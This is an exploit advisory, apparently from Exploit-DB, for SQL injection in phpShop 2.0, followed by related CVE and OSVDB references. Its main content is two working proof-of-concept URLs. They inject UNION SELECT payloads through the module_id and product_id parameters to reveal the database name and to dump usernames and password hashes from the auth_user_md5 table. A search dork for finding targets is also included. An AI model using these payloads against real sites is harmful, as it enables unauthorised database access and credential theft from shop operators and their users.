# Exploit Title : phpshop 2.0 SQL Injection Vulnerability # Author : By onestree # Software Link : http://code.google.com/p/phpshop/downloads/list # tested : windows 7 / ubuntu # Dork : inurl:"tanyakan pada rumput yang bergoyang" SQLi p0c: ================== http://localhost/phpshop 2.0/?page=admin/function_list&module_id=11' union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5-- Thanks : Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell indonesiancoder - moeslimh4x0r - go-coder
Related Exploits
Trying to match CVEs (2): CVE-2008-0681, CVE-2009-4571Trying to match OSVDBs (2): 41509, 89153
Trying to match setup file: 5e7d7371a986a47e343184c34f1bd6f8
Other Possible E-DB Search Terms: phpShop 2.0, phpShop